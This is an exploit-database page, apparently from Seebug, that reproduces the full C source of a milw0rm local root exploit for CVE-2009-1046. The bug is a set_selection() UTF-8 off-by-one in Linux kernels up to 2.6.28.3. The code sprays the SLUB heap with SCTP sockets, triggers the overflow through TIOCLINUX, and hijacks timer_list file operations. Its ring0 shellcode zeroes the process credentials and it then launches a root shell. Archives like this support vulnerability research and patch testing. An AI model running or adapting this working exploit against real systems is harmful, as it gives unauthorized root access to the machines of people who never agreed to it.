Lucene search

K
seebugRootSSV:66685
HistoryJul 01, 2014 - 12:00 a.m.

Linux Kernel <= 2.6.28.3 - set_selection() UTF-8 Off By One Local Exploit

2014-07-0100:00:00
Root
www.seebug.org
19

EPSS

0.001

Percentile

31.0%

No description provided by source.


                                                /* CVE-2009-1046 Virtual Console UTF-8  set_selection() off-by-one(two) Memory Corruption
 * Linux Kernel &#60;= 2.6.28.3 
 *
 * coded by: sgrakkyu &#60;at&#62; antifork.org
 * http://kernelbof.blogspot.com/2009/07/even-when-one-byte-matters.html
 *
 * Dedicated to all people talking nonsense about non exploitability of kernel heap off-by-one overflow
 *
 * NOTE-1: you need a virtual console attached to the standard output (stdout) 
 * - physical login
 * - ptrace() against some process with the same uid already attached to a VC
 * - remote management ..
 *
 * NOTE-2: UTF-8 character used is: U+253C - it seems to be supported in most standard console fonts
 * but if it&#39;s _not_: change it (and change respectively STREAM_ZERO and STREAM_ZERO_ALT defines)
 * If you use an unsupported character expect some sort of recursive fatal ooops:)
 *
 * Designed to be built as x86-64 binary only (SLUB ONLY)
 * SCTP stack has to be available
 * 
 * Tested on target:
 * Ubuntu 8.04 x86_64 (2.6.24_16-23 generic/server)
 * Ubuntu 8.10 x86_64 (2.6.27_7-10 genric/server)
 * Fedora Core 10 x86_64 (default installed kernel - without selinux)
 *
 */


#define _GNU_SOURCE
#include &#60;stdio.h&#62;
#include &#60;sched.h&#62;
#include &#60;errno.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;netinet/sctp.h&#62;
#include &#60;arpa/inet.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/ioctl.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;string.h&#62;
#include &#60;linux/tiocl.h&#62;
#include &#60;sys/stat.h&#62;
#include &#60;fcntl.h&#62;
#include &#60;signal.h&#62;
#include &#60;sys/mman.h&#62;
#include &#60;sched.h&#62;
#include &#60;unistd.h&#62;
#include &#60;fcntl.h&#62;

#ifndef __x86_64__
#error &#34;Architecture Unsupported&#34;
#error &#34;This code was written for x86-64 target and has to be built as x86-64 binary&#34;
#else

#ifndef __u8
#define __u8  uint8_t
#endif
#ifndef __u16
#define __u16 uint16_t
#endif
#ifndef __u32
#define __u32 uint32_t
#endif
#ifndef __u64 
#define __u64 uint64_t
#endif


#define STREAM_ZERO 10
#define STREAM_ZERO_ALT 12

#define SCTP_STREAM 22
#define STACK_SIZE 0x1000
#define PAGE_SIZE 0x1000
#define STRUCT_PAGE  0x0000000000000000
#define STRUCT_PAGE_ALT 0x0000000100000000 
#define CODE_PAGE      0x0000000000010000
#define LOCALHOST &#34;127.0.0.1&#34;
#define KMALLOC &#34;kmalloc-128&#34;
#define TIMER_LIST_FOPS &#34;timer_list_fops&#34;

#define __msg_f(format, args...) \
  do { fprintf(stdout, format, ## args); } while(0)

#define __msg(msg) \
  do { fprintf(stdout, &#34;%s&#34;, msg); } while(0)

#define __fatal_errno(msg) \
do { perror(msg); __free_stuff(); exit(1); } while(0)

#define __fatal(msg) \
do { fprintf(stderr, msg); __free_stuff(); exit(1); } while(0)



#define CJUMP_OFF 13
char ring0[]=
&#34;\x57&#34;                                      //    push   %rdi
&#34;\x50&#34;                                      //    push   %rax
&#34;\x65\x48\x8b\x3c\x25\x00\x00\x00\x00&#34;      //    mov    %gs:0x0,%rdi
&#34;\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41&#34;  //    mov   xxx, %rax
&#34;\xff\xd0&#34;                                  //    callq  *%rax
&#34;\x58&#34;                                      //    pop    %rax
&#34;\x5f&#34;                                      //    pop    %rdi
&#34;\xc3&#34;;                                     //    retq


/* conn struct */
static __u16 srvport;
struct sockaddr_in server_s;
static struct sockaddr_in caddr;

/* some fds.. */
static int g_array[10];
static int fd_zmap_srv=-1;
static int kmalloc_fd=-1;
static int unsafe_fd[4] = {-1,-1,-1,-1}; 

/* misc */
static int dorec = 0, cankill=1, highpage=0;
static char cstack[STACK_SIZE*2];
static __u16 zstream=STREAM_ZERO;
static __u32 uid,gid;
static __u64 fops;
static pid_t child=0;
static char symbuf[20000];

static void __free_stuff()
{
  int i;
  for(i=3; i&#60;2048; i++) 
  {
    if((unsafe_fd[0] == i || unsafe_fd[1] == i || 
       unsafe_fd[2] == i || unsafe_fd[3] == i))
        continue; 

    close(i);
  }
}

static void bindcpu()
{
  cpu_set_t set;
  CPU_ZERO(&set);
  CPU_SET(0, &set);
  
  if(sched_setaffinity(0, sizeof(cpu_set_t), &set) &#60; 0)
    __fatal_errno(&#34;setaffinity&#34;);
}

/* parse functions are not bof-free:) */
static __u64 get_fops_addr()
{
  FILE* stream;
  char fbuf[256];
  char addr[32];
  
  stream = fopen(&#34;/proc/kallsyms&#34;, &#34;r&#34;);
  if(stream &#60; 0)
    __fatal_errno(&#34;open: kallsyms&#34;);

  memset(fbuf, 0x00, sizeof(fbuf));
  while(fgets(fbuf, 256, stream) &#62; 0)
  {
    char *p = fbuf;
    char *a = addr;
    memset(addr, 0x00, sizeof(addr));
    fbuf[strlen(fbuf)-1] = 0;
    while(*p != &#39; &#39;)
      *a++ = *p++;  
    p += 3;
    if(!strcmp(p, TIMER_LIST_FOPS))
      return strtoul(addr, NULL, 16); 
  }

  return 0;
}

static int get_total_object(int fd)
{
  char name[32];
  char used[32];
  char total[32];
  char *ptr[] = {name, used, total};
  int ret,i,toread=sizeof(symbuf)-1;
  char *p = symbuf;

  lseek(fd, 0, SEEK_SET);
  memset(symbuf, 0x00, sizeof(symbuf));
  while( (ret = read(fd, p, toread)) &#62; 0)
  {
    p += ret; 
    toread -= ret;
  }

  p = symbuf;
  do
  {
    for(i=0; i&#60;sizeof(ptr)/sizeof(void*); i++)
    {
      char *d = ptr[i];
      while(*p != &#39; &#39;)
        *d++ = *p++;   
      *d = 0;
      while(*p == &#39; &#39;)
        p++;
    }
    
    while(*p++ != &#39;\n&#39;);
  
    if(!strcmp(KMALLOC, name))
      return atoi(total);  

  } while(*p != 0);
  return 0;
}


static void ring0c(void* t)
{
  int i;
  __u32 *p = t;
  for(i=0; i&#60;1100; i++,p++)
  {
      if(p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid &&
         p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid)
         {
           p[0] = p[1] = p[2] = p[3] = 0;
           p[4] = p[5] = p[6] = p[7] = 0;
           /* dont care about caps */
           break;
         }
  }
}


static int get_kmalloc_fd()
{
  int fd;
  fd = open(&#34;/proc/slabinfo&#34;, O_RDONLY);
  if(fd &#60; 0)
    __fatal_errno(&#34;open: slabinfo&#34;);
  return fd;
}


static int write_sctp(int fd, struct sockaddr_in *s, int channel)
{
  int ret;
  ret = sctp_sendmsg(fd, &#34;a&#34;, 1,
               (struct sockaddr *)s, sizeof(struct sockaddr_in),
               0, 0, channel, 0 ,0);
  return ret;
}


static void set_sctp_sock_opt(int fd, __u16 in, __u16 out)
{
  struct sctp_initmsg msg;
  int val=1;
  socklen_t len_sctp = sizeof(struct sctp_initmsg);
  getsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, &len_sctp);
  msg.sinit_num_ostreams=out; 
  msg.sinit_max_instreams=in;
  setsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, len_sctp);
  setsockopt(fd, SOL_SCTP, SCTP_NODELAY, (char*)&val, sizeof(val));
}


static int create_and_init(void)
{
  int fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
  if(fd &#60; 0)
    __fatal_errno(&#34;socket: sctp&#34;);
  set_sctp_sock_opt(fd, SCTP_STREAM, SCTP_STREAM);
  return fd;
}


static void connect_peer(int fd, struct sockaddr_in *s)
{ 
  int ret;
  ret = connect(fd, (struct sockaddr *)s, sizeof(struct sockaddr_in));
  if(ret &#60; 0)
    __fatal_errno(&#34;connect: one peer&#34;);
}


static void conn_and_write(int fd, struct sockaddr_in *s, __u16 stream)
{
  connect_peer(fd,s);
  write_sctp(fd, s, stream);
}


static int clone_thread(void*useless)
{
  int o = 1;
  int c=0,idx=0;
  int fd, ret;
  struct sockaddr_in tmp;
  socklen_t len;

  bindcpu();
  server_s.sin_family = PF_INET;
  server_s.sin_port = htons(srvport); 
  server_s.sin_addr.s_addr = inet_addr(LOCALHOST);

  fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
  if(fd &#60; 0)
    return -1;

  set_sctp_sock_opt(fd, SCTP_STREAM, SCTP_STREAM);   
  setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char *)&o, sizeof(o));

  ret = bind(fd, (struct sockaddr *)&server_s, sizeof(struct sockaddr_in));
  if(ret &#60; 0)
    return -1;

  ret = listen(fd, 100);
  if(ret &#60; 0)
    return -1;

  len = sizeof(struct sockaddr_in);
  while((ret = accept(fd, (struct sockaddr *)&tmp, &len)) &#62;= 0)
  {
    if(dorec != 0 && c &#62;= dorec && idx &#60; 10)
    {
      g_array[idx] = ret;
      if(idx==9)
      {
        fd_zmap_srv = ret;
        caddr = tmp;
        break;
      }
      idx++;
    }
    c++;   
    write_sctp(ret, &tmp, zstream);
  }
  
  sleep(1);
  return 0; 
}


static int do_mmap(unsigned long base, int npages)
{
  void*addr = mmap((void*)base, PAGE_SIZE*npages,
                   PROT_READ|PROT_WRITE|PROT_EXEC,  
                   MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);

  if(MAP_FAILED == addr)
    return -1;

  memset(addr, 0x00, PAGE_SIZE*npages);
  
  return 0;
}

pid_t start_listener()
{
  pid_t pid;
  pid = clone(clone_thread, cstack+STACK_SIZE-8, 
              CLONE_VM|CLONE_FILES|SIGCHLD, NULL);
  
  return pid;
} 

static void do_socks(struct sockaddr_in *s, __u16 stream)
{
  int i,fd;
  int n_objs = get_total_object(kmalloc_fd), tmp_n_objs;
  int next=8;

  for(i=0; next != 0; i++)
  {
    fd = create_and_init();

    tmp_n_objs = get_total_object(kmalloc_fd); 
    if(!dorec && tmp_n_objs != n_objs)
      dorec=i; 

    conn_and_write(fd, s, stream);
    if(dorec)
      next--;
  }
}


static void clr(int fd)
{
  /* use termcap instead..*/
  write(fd, &#34;\33[H\33[J&#34;, 6);  
}

static char tiobuffer[2048];
void alloc_tioclinux()
{
  int i;
  char out[128*3];
  /* Unicode Character &#39;BOX DRAWINGS LIGHT VERTICAL AND HORIZONTAL&#39; (U+253C) */
  char utf8[3] = { 0xE2, 0x94, 0xBC };  
  //char utf8[3] = { 0xE2, 0x80, 0xBC };  
  struct tiocl_selection *sel;
  char *t;
  void *v = malloc(sizeof(struct tiocl_selection) + 1);
  t = (char*)v; 
  sel = (struct tiocl_selection *)(t+1);
  memset(out, 0x41, sizeof(out)); 
  for(i=0; i&#60;128; i++) 
  {
    tiobuffer[(i*3)]=utf8[0];
    tiobuffer[(i*3)+1]=utf8[1];
    tiobuffer[(i*3)+2]=utf8[2];
  }

  *t = TIOCL_SETSEL;
  sel-&#62;xs = 1;
  sel-&#62;ys = 1;
  sel-&#62;xe = 43;
  //sel-&#62;xe = 42; /* no overflow */
  sel-&#62;ye = 1;
  
  write(1, tiobuffer, sizeof(tiobuffer));
  if(ioctl(1, TIOCLINUX, v) &#60; 0)
    __fatal(&#34;[!!] Unable to call TIOCLINUX ioctl(), need stdout to be on a virtual console\n&#34;);
}



static void migrate_evil_fd()
{
  int i;
  pid_t child;

  __msg(&#34;[**] Migrate evil unsafe fds to child process..\n&#34;);
  child = fork();
  if(!child)
  {

    /* preserve evil fds */
    setsid(); 
    if(!cankill) /* cant die .. */
      while(1)
        sleep(1);
    else
    {
      sleep(10); /* wait execve() before */ 
      for(i=0; i&#60;4; i++)
        close(unsafe_fd[i]); 

      exit(1);
    }
  }
  else
  {
    if(!cankill)
      __msg_f(&#34;[**] Child process %d _MUST_ NOT die ... keep it alive:)\n&#34;, child);
  }
}


static void trigger_fault()
{
  char *argv[]={&#34;/bin/sh&#34;, NULL};
  int fd,i;

  fd = open(&#34;/proc/timer_list&#34;, O_RDONLY);
  if(fd &#62;= 0)
  {
    ioctl(fd, 0, 0);
    __free_stuff();
    migrate_evil_fd();
    
    for(i=0; i&#60;4; i++)
      close(unsafe_fd[i]);

    if(!getuid())
    {
      __msg(&#34;[**] Got root!\n&#34;);
      execve(&#34;/bin/sh&#34;, argv, NULL); 
    }
  }
  else
  {
    __msg(&#34;[**] Cannot open /proc/timer_list&#34;);
    __free_stuff();
  }
}



static void overwrite_fops( int sender, 
                            struct sockaddr_in *to_receiver,
                            int receiver)
{
  char *p = NULL;
  if(!highpage)
    p++;
  else
    p = (void*)STRUCT_PAGE_ALT;

  __u64 *uip = (__u64*)p;  
  *uip = fops;
  write_sctp(sender, to_receiver, 1);  
  sleep(1);
  trigger_fault();
}

static __u16 get_port()
{
  __u16 r = (__u16)getpid();
  if(r &#60;= 0x400)
    r+=0x400;
  return r;
}

int main(int argc, char *argv[])
{
  int peerx, peery,i;
  __u64 *patch;

  srvport = get_port();

  uid=getuid();
  gid=getgid();
  fops=get_fops_addr() + 64; 
  if(!fops)
  {
    __msg(&#34;[!!] Unable to locate symbols...\n&#34;);
    return 1;
  }

  __msg_f(&#34;[**] Patching ring0 shellcode with userspace addr: %p\n&#34;, ring0c);
  patch = (__u64*)(ring0 + CJUMP_OFF);
  *patch = (__u64)ring0c;

  __msg_f(&#34;[**] Using port: %d\n&#34;, srvport);
  __msg(&#34;[**] Getting slab info...\n&#34;);
  kmalloc_fd = get_kmalloc_fd();
  if(!get_total_object(kmalloc_fd)) 
    __fatal(&#34;[!!] Only SLUB allocator supported\n&#34;);
 

  __msg(&#34;[**] Mapping Segments...\n&#34;); 
  __msg(&#34;[**] Trying mapping safe page...&#34;);
  if(do_mmap(STRUCT_PAGE, 1) &#60; 0)
  {
    __msg(&#34;Page Protection Present (Unable to Map Safe Page)\n&#34;);
    __msg(&#34;[**] Mapping High Address Page (dont kill placeholder child)\n&#34;);
    if(do_mmap(STRUCT_PAGE_ALT, 1) &#60; 0)
      __fatal_errno(&#34;mmap&#34;); 

    cankill=0;  /* dont kill child owning unsafe fds.. */
    highpage=1; /* ssnmap in higher pages */
    zstream=STREAM_ZERO_ALT; 
  } 
  else
    __msg(&#34;Done\n&#34;);

  __msg(&#34;[**] Mapping Code Page... &#34;);
  if(do_mmap(CODE_PAGE, 1) &#60; 0)
    __fatal_errno(&#34;mmap&#34;);
  else
    __msg(&#34;Done\n&#34;);

  memcpy((void*)CODE_PAGE, ring0, sizeof(ring0));

  __msg(&#34;[**] Binding on CPU 0\n&#34;); 
  bindcpu(); 

  __msg(&#34;[**] Start Server Thread..\n&#34;);
  child = start_listener();
  sleep(3); 
  
  do_socks(&server_s, zstream);
  for(i=0; i&#60;7; i++)
  {
    close(g_array[8-1-i]);  
  }
  clr(1); 
  alloc_tioclinux(); // trigger overflow
  peerx = create_and_init();
  connect_peer(peerx, &server_s);
  peery = create_and_init();
  connect_peer(peery, &server_s);
  
  sleep(1);

  unsafe_fd[0] = peerx;
  unsafe_fd[1] = g_array[8];
  unsafe_fd[2] = peery;
  unsafe_fd[3] = g_array[9];
 
  __msg(&#34;\n&#34;); 
  __msg_f(&#34;[**] Umapped end-to-end fd: %d\n&#34;, fd_zmap_srv); 
  __msg_f(&#34;[**] Unsafe  fd: ( &#34;);

  for(i=0; i&#60;4; i++)
    __msg_f(&#34;%d &#34;, unsafe_fd[i]);
  __msg(&#34;)\n&#34;); 
  

  __msg(&#34;[**] Hijacking fops...\n&#34;);
  overwrite_fops(fd_zmap_srv, &caddr, peery);

  /* if u get here.. something nasty happens...may crash..*/
  __free_stuff();
  __msg(&#34;[**] Exploit failed.. freezing process\n&#34;);
  kill(getpid(), SIGSTOP);
  return 0;
}

#endif

// milw0rm.com [2009-07-09]